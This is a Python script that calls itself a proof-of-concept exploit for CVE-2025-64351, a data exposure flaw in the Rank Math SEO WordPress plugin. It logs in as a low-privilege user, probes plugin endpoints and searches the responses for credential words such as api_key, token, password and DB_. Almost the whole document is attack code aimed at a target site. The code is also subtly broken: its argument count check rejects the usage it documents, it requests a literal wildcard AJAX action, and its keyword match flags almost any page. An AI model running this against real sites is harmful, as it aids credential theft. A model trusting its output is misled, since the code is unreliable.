# CVE-2025-64351 PoC - Rank Math SEO Sensitive Data Exposure
# Affected: Rank Math SEO Plugin <= 1.0.252.1
# Author: Security Researcher
# Reference: https://patchstack.com/database/Wordpress/Plugin/seo-by-rank-math
import requests
import sys
from urllib.parse import urljoin
def exploit_cve_2025_64351(target_url, username, password):
"""
Exploit for Rank Math SEO sensitive information disclosure vulnerability.
This PoC demonstrates how low-privilege users can retrieve embedded sensitive data.
"""
session = requests.Session()
# Step 1: Authenticate with WordPress
login_url = urljoin(target_url, '/wp-login.php')
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
print(f'[*] Attempting login as {username}...')
response = session.post(login_url, data=login_data, allow_redirects=True)
if 'wordpress_logged_in' not in session.cookies:
print('[-] Authentication failed')
return None
print('[+] Login successful')
# Step 2: Enumerate Rank Math SEO API endpoints
api_endpoints = [
'/wp-json/rank-math/v1/',
'/wp-json/rank-math/v1/settings',
'/wp-json/rank-math/v1/analyze',
'/wp-admin/admin-ajax.php?action=rank_math_*',
]
sensitive_data = []
for endpoint in api_endpoints:
full_url = urljoin(target_url, endpoint)
print(f'[*] Checking endpoint: {endpoint}')
try:
response = session.get(full_url, timeout=10)
# Check for sensitive keywords in response
sensitive_keywords = [
'api_key', 'secret', 'token', 'password', 'credential',
'database', 'DB_', 'AUTH_', 'SECURE_', 'WP_'
]
for keyword in sensitive_keywords:
if keyword.lower() in response.text.lower():
print(f'[!] Potential sensitive data found at {endpoint}')
print(f'[!] Keyword matched: {keyword}')
sensitive_data.append({
'endpoint': endpoint,
'keyword': keyword,
'status_code': response.status_code
})
except requests.RequestException as e:
print(f'[-] Error accessing {endpoint}: {e}')
# Step 3: Analyze sitemap for information disclosure
sitemap_url = urljoin(target_url, '/sitemap_index.xml')
print(f'[*] Checking sitemap for sensitive information...')
try:
response = session.get(sitemap_url, timeout=10)
if response.status_code == 200:
# Check for exposed internal paths or information
if 'wp-content' in response.text or 'wp-admin' in response.text:
print('[!] Internal paths exposed in sitemap')
sensitive_data.append({
'type': 'sitemap_disclosure',
'description': 'Internal WordPress paths exposed'
})
except requests.RequestException:
pass
return sensitive_data
if __name__ == '__main__':
if len(sys.argv) < 5:
print('Usage: python cve_2025_64351_poc.py <target_url> <username> <password>')
print('Example: python cve_2025_64351_poc.py http://example.com/ lowprivuser password123')
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
results = exploit_cve_2025_64351(target, user, pwd)
if results:
print('\n[+] Sensitive data exposure confirmed!')
print(f'[+] Found {len(results)} potential data leaks')
for item in results:
print(f' - {item}')
else:
print('\n[-] No obvious sensitive data exposure detected')
print('[-] Target may be patched or not vulnerable')